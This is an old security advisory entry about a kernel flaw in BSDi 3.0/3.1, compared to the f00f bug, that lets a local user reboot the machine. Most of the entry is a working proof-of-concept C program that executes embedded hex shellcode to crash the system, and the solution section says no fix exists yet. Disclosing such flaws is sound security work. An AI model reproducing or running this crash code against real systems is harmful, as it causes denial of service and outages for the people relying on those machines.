COMMAND
	    kernel
SYSTEMS AFFECTED
	    BSDi 3.0/3.1
PROBLEM
	    'v9'  found  following.   This  is  something  from a little while
	    back.   Thought we  might as  well post  it for  some sort of use,
	    generally a pretty  minimal problem.   Has similar effects  to the
	    old f00f bug.  Except this reboots the machine, instead of  having
	    a freezing effect.
	
	    char bsdi_killcode[] =
	     "\xb8\x8f\xf8\xff\x0b\xf7\xd0\x50\xb0\x0b"
	     "\xb0\x9a\x50\x89\xe7\xff\xd7";
	    int main() {
	     void (*execcode)()=(void *)bsdi_killcode;
	     printf("[ (BSDi)*[v3.0/3.1]: system failu"
	     "re, by: v9[[email protected]]. ]\n");
	     printf("*** no output should be seen afte"
	     "r this point.\n");
	     execcode();
	     printf("*** system failure failed.\n");
	     exit(0);
	    }
	
SOLUTION
	    Nothing yet.